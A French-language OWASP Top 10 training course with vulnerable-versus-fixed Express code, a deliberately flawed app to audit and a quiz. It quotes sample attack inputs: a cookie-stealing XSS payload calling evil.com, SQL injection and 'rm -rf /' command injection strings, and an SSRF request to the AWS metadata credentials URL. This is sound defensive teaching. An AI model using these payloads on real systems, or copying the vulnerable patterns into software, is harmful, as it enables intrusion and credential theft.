Les 10 principales failles de sécurité (OWASP Top 10)
Comprendre les risques de sécurité web les plus critiques, savoir les détecter dans le code, et appliquer les corrections standards. Le minimum vital pour mettre du code en prod.
À la fin du cours, tu sais
- Connaître les 10 risques OWASP majeurs et savoir les nommer
- Détecter une injection SQL, un XSS ou un IDOR dans un extrait de code
- Appliquer les corrections standards (paramètres, hashing, headers, cookies)
- Mettre en place les bons outils en CI (npm audit, helmet, Dependabot)
- Pratiquer le threat modeling avant d'écrire la première ligne
Prérequis
- Connaître HTTP, les requêtes et les cookies
- Avoir développé une mini-app back ou front
Étape 1 sur 11 : Comprendre OWASP et le Top 10
Chapitre 1
Comprendre OWASP et le Top 10
Avant de plonger dans les failles, savoir d'où vient ce classement et à quoi il sert vraiment.
La sécurité applicative intimide souvent les débutant·es, qui l'imaginent réservée à des spécialistes. C'est une erreur : la grande majorité des failles graves vient de quelques erreurs de développement très courantes, que n'importe qui peut apprendre à repérer et à corriger. C'est précisément ce que recense l'OWASP, une fondation à but non lucratif qui publie gratuitement des standards de sécurité. Son document le plus célèbre, le Top 10, classe les dix catégories de risques web les plus critiques.
Il est important de bien comprendre ce qu'est ce Top 10, et ce qu'il n'est pas. Ce n'est pas une liste exhaustive de tous les bugs de sécurité possibles, ni un label qui certifierait une application « sécurisée ». C'est une boussole : un classement de catégories de risques, remis à jour tous les quatre ans environ, qui te dit où concentrer tes efforts en priorité. La version de référence reste l'édition 2021 ; une mouture 2025 est en préparation mais pas encore stabilisée. Connaître ces dix familles et savoir les nommer est déjà un immense pas en avant.
L'OWASP ne se limite d'ailleurs pas au Top 10 : la fondation met à disposition tout un arsenal gratuit que tu peux exploiter dès aujourd'hui. Les Cheat Sheets sont des antisèches pratiques sujet par sujet (XSS, gestion des JWT, upload de fichiers…). L'ASVS est une checklist de vérification détaillée. ZAP est un scanner de vulnérabilités open source, l'équivalent gratuit d'outils commerciaux. Garde ces ressources en favori : ce cours te donne les fondations, elles te donneront la profondeur quand tu en auras besoin sur un cas précis.
Qu'est-ce que l'OWASP
- OWASP = Open Worldwide Application Security Project, fondation à but non lucratif
- Publie des standards de sécurité applicative gratuits et open source
- Le Top 10 est mis à jour environ tous les 4 ans (2017, 2021, 2025 en cours)
- Cible : les risques applicatifs, pas les failles d'infra ou de réseau
Version actuelle
Ressources gratuites OWASP
- Cheat Sheets : antisèches pratiques par sujet (XSS, CSRF, JWT...)
- ASVS : Application Security Verification Standard, une checklist détaillée
- ZAP : scanner de vulnérabilités open source, équivalent gratuit de Burp Suite
- Threat Dragon : outil de threat modeling
Pour aller plus loin
- OWASP Top 10 : le classement officiel · owasp.org (en anglais) (nouvel onglet)
- OWASP Cheat Sheet Series : antisèches par sujet · cheatsheetseries.owasp.org (en anglais) (nouvel onglet)
- Cross-site scripting (XSS), la référence MDN · MDN (en anglais) (nouvel onglet)
- Sécurité des sites web : les bases sur MDN · MDN (nouvel onglet)
Chapitre 2
A01 · Broken Access Control
Numéro 1 du classement. Un·e utilisateur·ice peut faire ce qu'il ne devrait pas pouvoir faire : voir les données d'un autre compte, escalader ses privilèges, accéder à une API admin.
Le contrôle d'accès défaillant est passé numéro 1 du classement en 2021, et pour cause : près de 94 % des applications testées présentaient une forme de faille dans ce domaine. Le principe est simple à énoncer : un contrôle d'accès défini qui a le droit de faire quoi. Il est « cassé » (broken) dès qu'un·e utilisateur·ice peut faire quelque chose qui devrait lui être interdit — consulter les données d'un autre compte, modifier ce qui ne lui appartient pas, ou atteindre une fonction réservée aux administrateur·ices.
Le motif le plus fréquent est l'IDOR : accéder à /api/users/42 ou /api/invoice/42 alors qu'on est l'utilisateur 7, simplement en changeant le numéro dans l'URL. À côté, on trouve l'élévation horizontale (accéder aux données d'un autre utilisateur du même niveau) et l'élévation verticale (passer de simple utilisateur à administrateur). Le point commun de tous ces cas, illustré dans le code ci-dessous, c'est qu'un identifiant est utilisé pour récupérer une ressource sans vérifier que la personne connectée en est bien la propriétaire. La correction tient en une ligne : comparer le propriétaire de la ressource à l'utilisateur authentifié.
La règle absolue à graver dans le marbre : les contrôles d'accès se font côté serveur, toujours. Cacher un bouton « Supprimer » dans l'interface ou retirer un lien du menu ne protège rien du tout : n'importe qui peut forger la requête directement avec les DevTools ou un simple curl en quelques secondes. Le serveur doit vérifier les droits à chaque requête sensible, comme si l'interface n'existait pas. Adopte aussi le principe du moindre privilège : par défaut, on interdit, et on n'autorise que ce qui est explicitement nécessaire.
Les patterns courants
- IDOR (Insecure Direct Object Reference) : accéder à
/api/users/42alors qu'on est l'utilisateur 7 - Élévation horizontale : accéder aux données d'un autre user du même niveau
- Élévation verticale : passer de user à admin
- Modifications non autorisées : modifier les données d'un·e autre via une requête forgée
app.get('/api/invoice/:id', (req, res) => {
res.json(db.invoice.find(req.params.id));
});app.get('/api/invoice/:id', requireAuth, (req, res) => {
const inv = db.invoice.find(req.params.id);
if (!inv) return res.sendStatus(404);
if (inv.ownerId !== req.user.id) return res.sendStatus(403);
res.json(inv);
});La règle absolue
Chapitre 3
A02 · Cryptographic Failures
Tout ce qui touche aux données sensibles : en transit (HTTPS) et au repos (chiffrement, hashing).
Cette catégorie regroupe tout ce qui touche à la protection des données sensibles — mots de passe, données personnelles, informations bancaires. Il faut distinguer deux moments où ces données sont exposées : en transit, quand elles voyagent entre le navigateur et le serveur, et au repos, quand elles sont stockées en base. Ce sont deux protections différentes, et confondre les deux est l'erreur la plus répandue.
Pour le transit, la réponse est le HTTPS partout, renforcé par l'en-tête HSTS qui force le navigateur à ne jamais repasser en HTTP. Mais attention au piège classique : « mon site est en HTTPS, donc mes mots de passe sont protégés » est faux. HTTPS chiffre le trajet, pas le stockage. Si ta base de données fuite, des mots de passe stockés en clair sont directement exploitables. Pour le stockage, les mots de passe doivent être hashés avec un algorithme conçu pour ça : bcrypt, argon2 ou scrypt. Surtout jamais MD5 ni SHA-1, trop rapides : un attaquant en teste des milliards par seconde sur une carte graphique.
Deux principes complètent le tableau. D'abord, le cost factor de ces algorithmes (le second argument de bcrypt.hash) : plus il est élevé, plus le calcul est lent, donc plus le brute force est coûteux pour l'attaquant — une valeur autour de 10 à 12 est un bon compromis aujourd'hui. Ensuite, une règle d'or : n'invente jamais ta propre cryptographie. Les erreurs y sont subtiles et catastrophiques. Utilise les bibliothèques éprouvées (libsodium, la Web Crypto API) et ne laisse jamais traîner un secret en clair, ni dans le dépôt, ni dans les logs.
Les fondamentaux
- HTTPS partout, HSTS activé pour forcer le HTTPS
- Hasher les mots de passe avec bcrypt, argon2 ou scrypt
- Ne jamais utiliser MD5 ou SHA1 pour des mots de passe (trop rapides, vulnérables aux rainbow tables)
- Ne pas inventer ta crypto : utilise les libs standard (libsodium, Web Crypto API)
- Aucun secret en clair dans le repo ni dans les logs
import crypto from 'crypto';
const hash = crypto.createHash('md5').update(password).digest('hex');import bcrypt from 'bcrypt';
const hash = await bcrypt.hash(password, 12);
// Comparaison à la connexion
const ok = await bcrypt.compare(passwordFourni, hashStocke);Pourquoi un cost de 12
bcrypt.hash est le cost factor. Plus il est élevé, plus c'est lent (donc résistant au brute force) mais plus ton serveur dépense de CPU. 10-12 est un bon compromis en 2025.Vrai ou faux ?
« Mon site est en HTTPS, donc les mots de passe de mes utilisateur·ices sont protégés, je peux les stocker tels quels en base. »
Chapitre 4
A03 · Injection (SQL, OS, XSS)
L'attaquant glisse du code malveillant dans une entrée utilisateur, qui sera ensuite interprété comme du code. Trois grandes familles.
L'injection est l'une des failles les plus anciennes et les plus dévastatrices, et son principe est toujours le même : l'attaquant glisse du code malveillant dans une donnée, et ce code finit par être interprété comme s'il faisait partie du programme. La cause profonde est unique : quelque part, une entrée utilisateur a été mélangée à du code au lieu d'être traitée comme une simple donnée. Comprendre cette cause unique te permet de reconnaître les trois grandes familles d'injection avec le même réflexe.
L'injection SQL survient quand on construit une requête en concaténant une entrée : un email valant ' OR 1=1 -- transforme un filtre en « renvoie tous les utilisateurs ». La parade est la requête paramétrée, qui transmet la valeur au moteur comme une donnée inerte, jamais comme du SQL. Le XSS (Cross-Site Scripting) consiste à injecter du JavaScript dans la page via une entrée non échappée : l'attaquant peut alors voler des cookies de session ou agir au nom de la victime. La parade est l'échappement de la sortie (automatique avec React, Vue ou Svelte). L'injection de commande, enfin, vise le shell du serveur ; on l'évite en n'appelant jamais le shell avec une entrée utilisateur (préférer spawn avec des arguments à exec).
La règle universelle qui couvre les trois familles : ne concatène jamais une entrée utilisateur dans du code, qu'il soit SQL, HTML ou shell. Et méfie-toi d'une fausse bonne idée très répandue : filtrer par « liste noire » (interdire le mot script, retirer certaines balises). Ça se contourne en une minute avec <img src=x onerror=alert(1)>, un changement de casse ou un encodage. La bonne approche n'est jamais de deviner les attaques possibles, mais de traiter chaque entrée de façon sûre par construction : paramétrer, échapper, valider. Le scénario ci-dessous te fait dérouler ce raisonnement sur un cas de XSS réel.
Injection SQL
db.query(`SELECT * FROM users WHERE email = '${req.body.email}'`);
// Email = "' OR 1=1 --" → renvoie TOUS les usersdb.query('SELECT * FROM users WHERE email = ?', [req.body.email]);Cross-Site Scripting (XSS)
Injecter du JS dans le DOM via une entrée non échappée. L'attaquant peut alors voler des cookies, exécuter du code dans le navigateur de la victime.
res.send(`<p>Bonjour ${req.query.name}</p>`);
// name = "<script>fetch('//evil.com?c='+document.cookie)</script>"import escapeHtml from 'escape-html';
res.send(`<p>Bonjour ${escapeHtml(req.query.name)}</p>`);
// Avec React/Vue/Svelte, l'échappement est automatique :
// <p>Bonjour {name}</p>OS Command Injection
Quand tu construis une commande shell avec une input utilisateur. exec('ping ' + req.body.host) avec host = '127.0.0.1; rm -rf /' = catastrophe.
La règle universelle
spawn avec args, pas exec).🧭 Un champ de recherche qui affiche du HTML
Sur ton site, un champ de recherche réaffiche le terme tapé : « Résultats pour <em>…</em> ». Un·e collègue te montre que taper <code><b>test</b></code> affiche un <strong>test</strong> en gras. Que fais-tu ?
Le terme de recherche est inséré tel quel dans la page, et le navigateur l'interprète comme du HTML. Quel est ton premier réflexe ?
Chapitre 5
A04 · Insecure Design
Une faille pensée dès l'architecture, pas un bug isolé. La plus difficile à corriger après coup.
Cette catégorie, apparue dans l'édition 2021, est particulière : elle ne désigne pas un bug dans une ligne de code, mais une faille dans la conception même d'une fonctionnalité. C'est ce qui la rend si difficile à corriger — aucun patch ne rattrape une architecture pensée sans la sécurité en tête. Un code parfaitement écrit peut implémenter fidèlement un design vulnérable. D'où l'idée maîtresse : la sécurité se pense avant d'écrire la première ligne, pas après l'incident.
Les exemples parlent d'eux-mêmes. Une récupération de mot de passe par « questions secrètes » (nom de jeune fille, ville de naissance) est vulnérable par conception : ces réponses se trouvent sur les réseaux sociaux. Un endpoint de connexion sans limitation de débit autorise le brute force par nature. Un coupon de réduction réutilisable si l'on rejoue la requête, un panier qui accepte une quantité négative pour déduire du total : ce ne sont pas des bugs d'inattention, mais des règles métier qui n'ont pas anticipé l'abus. Aucune revue de code ligne à ligne ne les attrapera si personne ne s'est demandé « et si quelqu'un essayait de tricher ? ».
La réponse s'appelle le threat modeling : au démarrage d'une fonctionnalité, prends trente minutes pour te poser quatre questions — quelles sont les ressources sensibles, qui peut y accéder, par où un·e attaquant·e pourrait passer, quelles protections mettre. Le cadre STRIDE (usurpation, altération, répudiation, divulgation, déni de service, élévation de privilège) aide à ne rien oublier. Complète chaque récit utilisateur par des abuse cases : « en tant qu'attaquant, je veux contourner X ». Ce simple réflexe de penser comme un adversaire, en amont, est ce qui distingue un développement qui subit la sécurité d'un développement qui l'intègre.
Exemples concrets
- Récupération de mot de passe par questions secrètes (nom de jeune fille, ville de naissance) : facile à deviner via réseaux sociaux
- Pas de rate limiting sur les endpoints sensibles (login, reset password) : brute force possible
- Workflows métier qui contournent la sécurité : un coupon de réduction utilisable plusieurs fois si l'utilisateur·ice rejoue la requête
- Pas de vérification de cohérence : ajouter au panier une quantité négative pour déduire du total
Threat modeling : penser comme un attaquant
Au démarrage d'une feature, prends 30 minutes pour lister : quelles sont les ressources sensibles, qui peut y accéder, par où un attaquant pourrait passer, quelles mitigations. Le framework STRIDE (Spoofing, Tampering, Repudiation, Info disclosure, DoS, Elevation) est un bon point de départ.
Abuse cases
Pour chaque user story, ajoute des abuse cases : « En tant qu'attaquant, je veux contourner X ». Ça pousse à concevoir des protections dès le départ, pas après l'incident.
Chapitre 6
A05 et A06 · Configuration et composants vulnérables
Deux failles voisines liées à l'environnement et aux dépendances. Souvent les plus faciles à corriger.
Ces deux catégories partagent une bonne nouvelle : ce sont souvent les plus faciles à corriger, car elles ne demandent pas de repenser ton code, mais de soigner ton environnement et tes dépendances. La mauvaise configuration (A05) regroupe tous ces réglages laissés par défaut ou trop permissifs : un port d'administration exposé sur internet, un compte admin/admin toujours actif, des messages d'erreur qui déballent la stack trace complète en production, ou des en-têtes de sécurité absents. Autant de portes qu'on a simplement oublié de fermer.
La parade côté configuration est largement automatisable. Sur une application Express, une bibliothèque comme Helmet pose d'un coup une douzaine d'en-têtes de sécurité, dont la CSP qui limite fortement les XSS. Complète par des messages d'erreur discrets en production, la désactivation des comptes par défaut, et une politique CORS restrictive plutôt qu'ouverte à tous. Ce sont quelques lignes qui referment une grande partie de la surface d'attaque.
Les composants vulnérables (A06) concernent tes dépendances : une bibliothèque avec une faille connue (une CVE publiée), une version de framework dépassée, un paquet plus maintenu depuis des années. Le risque est réel car ton code hérite des failles de tout ce qu'il importe. La défense est du monitoring continu : npm audit scanne tes dépendances et signale les vulnérabilités connues, à brancher en intégration continue pour bloquer les plus graves. Et surtout, active Dependabot sur ton dépôt GitHub : il ouvre automatiquement des pull requests de mise à jour, que tu valides en un clic si ta CI est verte. La check-list ci-dessous rassemble les points de sécurité à vérifier avant chaque mise en production.
A05 · Security Misconfiguration
- Ports ouverts inutilement (admin DB exposé sur internet)
- Comptes par défaut laissés actifs (
admin / admin) - Messages d'erreur trop bavards en prod (stack trace complète, version du framework)
- Headers de sécurité manquants (CSP, X-Frame-Options, X-Content-Type-Options)
- CORS ouvert à
*sur des endpoints sensibles
import express from 'express';
import helmet from 'helmet';
const app = express();
// Active une douzaine de headers de sécurité par défaut
app.use(helmet());
// CSP plus stricte
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
styleSrc: ["'self'", "'unsafe-inline'"],
},
}));A06 · Vulnerable & Outdated Components
- Dépendances avec des CVE connues non patchées
- Anciennes versions de Node, runtime, framework
- Libs non maintenues (commit le plus récent il y a 3 ans)
# Scanner les vulnérabilités connues
npm audit
npm audit --audit-level=high
# En CI, bloquer si vulnérabilité haute
npm audit --audit-level=high --omit=dev
# Outils alternatifs / complémentaires
npx snyk test
npx trivy fs .Dependabot et Renovate
Vrai ou faux ?
« Une requête paramétrée (prepared statement) protège contre l'injection SQL parce qu'elle sépare le code SQL des données : le moteur ne peut jamais interpréter une donnée comme du code, quel que soit son contenu. »
Avant de mettre en prod
0/8 faitUne passe rapide à cocher avant chaque mise en production. Rien d'exhaustif, mais ça couvre l'essentiel du Top 10.
Chapitre 7
A07 · Identification et Authentification défaillantes
Tout ce qui touche au login, à la session, et à la gestion des identités.
L'authentification est la porte d'entrée de ton application : si elle est défaillante, tout le reste s'effondre, quelle que soit la qualité de tes contrôles d'accès. Cette catégorie couvre tout ce qui entoure le login, la session et la gestion des identités. Les écueils sont hélas très répandus, souvent par méconnaissance : autoriser des mots de passe faibles comme 123456, ne proposer aucune authentification à plusieurs facteurs sur les comptes sensibles, garder des sessions qui n'expirent jamais, ou laisser le brute force possible faute de limitation du nombre de tentatives.
Le maillon le plus souvent négligé, ce sont les cookies de session. Un cookie qui transporte l'identifiant de session doit impérativement porter trois attributs, illustrés dans le code ci-dessous. HttpOnly le rend inaccessible au JavaScript, ce qui empêche son vol en cas de XSS. Secure interdit son envoi en clair sur du HTTP. SameSite limite les attaques CSRF. Ajoute une durée de vie raisonnable et un identifiant de session imprévisible (jamais le nom d'utilisateur, qui serait trivial à forger). Ces quelques options transforment un cookie dangereux en cookie robuste.
Deux protections complètent le dispositif. La limitation de débit (rate limiting) sur le login est indispensable : sans elle, un script teste des milliers de mots de passe par seconde ; avec une règle du type « cinq tentatives par quart d'heure », l'attaque automatisée devient impraticable. Enfin, attention à l'énumération de comptes : renvoyer « utilisateur inconnu » dans un cas et « mot de passe incorrect » dans l'autre indique à l'attaquant quels emails existent. Un message d'erreur unique et générique (« identifiants invalides ») ferme cette fuite d'information discrète mais précieuse pour qui prépare une attaque.
Les écueils classiques
- Mots de passe faibles autorisés (
123456,password) - Pas de MFA (Multi-Factor Authentication) sur les comptes sensibles
- Sessions sans expiration, ou identifiants prévisibles
- Brute force possible faute de rate limiting
- Cookies de session sans
HttpOnly,Secure,SameSite - Énumération de comptes : « utilisateur·ice inconnu·e » vs « mot de passe incorrect »
res.cookie('sid', token);
// Pas HttpOnly : le JS de la page peut le lire (XSS = vol de session)
// Pas Secure : envoyé même en HTTP
// Pas SameSite : vulnérable au CSRFres.cookie('sid', token, {
httpOnly: true, // Inaccessible en JS
secure: true, // HTTPS uniquement
sameSite: 'lax', // Mitige le CSRF
maxAge: 1000 * 60 * 60 * 8, // 8h max
});Rate limiting sur le login
Chapitre 8
A08, A09, A10 · Intégrité, logs et SSRF
Trois risques plus récents mais critiques en environnement cloud moderne.
Ces trois dernières catégories sont plus récentes dans le classement, mais devenues critiques avec la généralisation du cloud et des chaînes de build automatisées. L'intégrité logicielle et des données (A08) concerne la confiance dans ce que tu exécutes : un pipeline d'intégration continue compromis qui injecte du code, une dépendance récupérée sans vérification, une désérialisation qui exécute du code caché. Les parades sont concrètes : commits signés, installation reproductible avec npm ci à partir d'un package-lock.json figé, épinglage des actions GitHub par leur empreinte, et vérification d'intégrité (SRI) sur les scripts tiers.
La journalisation et surveillance défaillantes (A09) est une faille par absence : on ne peut pas réagir à une attaque qu'on ne voit pas. Ne rien journaliser sur les échecs d'authentification, les changements de droits ou les opérations sensibles, c'est se priver de toute capacité de détection et d'enquête. Il faut journaliser les événements qui comptent — connexions réussies et ratées, accès admin, paiements, modifications sensibles — avec leur contexte (IP, horodatage, identifiant utilisateur), déclencher des alertes sur les comportements anormaux, et surtout relire ces journaux. Règle absolue en contrepartie : jamais de mot de passe ni de jeton dans les logs.
La SSRF (A10) est plus subtile : ton serveur effectue une requête vers une URL fournie par l'utilisateur·ice (aperçu de lien, import de fichier distant), et l'attaquant en profite pour viser une ressource interne normalement inaccessible depuis l'extérieur. Le cas d'école, montré ci-dessous, cible en environnement cloud l'adresse spéciale 169.254.169.254 qui, sur AWS, renvoie les identifiants de l'instance. La mitigation combine une liste blanche de domaines autorisés et le blocage explicite des plages d'adresses IP privées. Réflexe transversal à retenir de tout ce cours : à chaque entrée utilisateur, valider, paramétrer, échapper, journaliser — quatre verbes qui couvrent l'essentiel du Top 10.
A08 · Software and Data Integrity
- Pipelines CI/CD non signés : un attaquant injecte du code via une action GitHub compromise
- Dépendances tirées sans vérification d'intégrité (pas de
package-lock.jsoncommité) - Désérialisation non sûre (JSON.parse avec un
reviverqui exécute du code)
Mitigations : commits signés (GPG ou SSH), package-lock.json en lecture seule en CI (npm ci), pinning des actions GitHub par SHA, Subresource Integrity (SRI) sur les scripts tiers.
A09 · Security Logging and Monitoring Failures
- Pas de log sur les échecs d'auth, les changements de droits, les opérations sensibles
- Pas d'alerte sur comportement anormal (1000 tentatives de login en 1 minute)
- Logs stockés mais jamais relus
Que logger
A10 · Server-Side Request Forgery (SSRF)
Ton serveur fait une requête HTTP vers une URL fournie par un·e utilisateur·ice (preview de lien, import de fichier distant). L'attaquant pointe vers une URL interne à laquelle ton serveur a accès, mais pas le public.
// User envoie : url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
// → URL spéciale AWS, renvoie les credentials de l'instance EC2 !
const response = await fetch(req.body.url); // Vulnérable
res.send(await response.text());const url = new URL(req.body.url);
// Whitelist de domaines autorisés
const ALLOWED_HOSTS = ['api.exemple.fr', 'cdn.exemple.fr'];
if (!ALLOWED_HOSTS.includes(url.hostname)) {
return res.sendStatus(400);
}
// Bloquer les IP privées (10.x, 172.16-31.x, 192.168.x, 127.x, 169.254.x)
// Utiliser la lib 'ipaddr.js' pour ça
const response = await fetch(url);
res.send(await response.text());🛠️ Exercice optionnel
Trouver les failles dans une mini-app Express
Un junior te fait relire son code. À toi de jouer le rôle d'auditeur sécurité : combien de failles trouves-tu, et comment les corriges-tu ?
Ta mission
Code à auditer :
const express = require('express');
const app = express();
app.use(express.json());
app.get('/search', (req, res) => {
const q = req.query.q;
db.query("SELECT * FROM products WHERE name LIKE '%" + q + "%'", (err, rows) => {
res.send(`<h1>Résultats pour ${q}</h1>` + JSON.stringify(rows));
});
});
app.post('/login', (req, res) => {
const { user, pass } = req.body;
db.query(`SELECT * FROM users WHERE u='${user}' AND p='${pass}'`, (err, rows) => {
if (rows.length) res.cookie('sid', user).send('ok');
});
});
app.listen(3000);
- Identifie au moins 5 failles (cite les A0X correspondants du Top 10).
- Réécris le code avec les corrections appropriées.
- Liste 2 mitigations de design qui ne sont pas dans le code mais que tu recommanderais.
Tu bloques ? Des indices, à dévoiler quand tu en as besoin.
Indice 1
Indice masqué.
Indice 2
Indice masqué.
Indice 3
Indice masqué.
✅ QCM de fin de cours
Teste tes acquis
10 questions, plusieurs réponses parfois possibles. Coche tout ce qui te semble juste, puis valide pour voir ton score et les explications.
- 1
À quoi sert l'OWASP Top 10 ?
- 2
Quelle est la faille n°1 du Top 10 2021 ?
- 3
Quel algorithme pour hasher un mot de passe ?
- 4
Comment empêcher une injection SQL ?
- 5
Quel header HTTP limite le risque d'XSS ?
- 6
Que fait le flag
httpOnlysur un cookie ? - 7
Quelle commande détecte les dépendances vulnérables en Node.js ?
- 8
Une SSRF, qu'est-ce que c'est ?
- 9
MFA signifie ?
- 10
À quelle étape du cycle de vie corrige-t-on principalement l'Insecure Design (A04) ?
Tu peux laisser des questions sans réponse, elles compteront comme fausses.
🎓 Attestation
Ton attestation de réussite
Termine le QCM avec au moins 80% de bonnes réponses pour débloquer ton attestation de réussite.
Tu veux ce cours pour ton équipe ?
Je peux adapter et animer ce cours pour tes formateur·ices ou tes apprenant·es, en présentiel ou en distanciel. Parlons-en pendant l'audit gratuit.
Réserver un audit gratuit →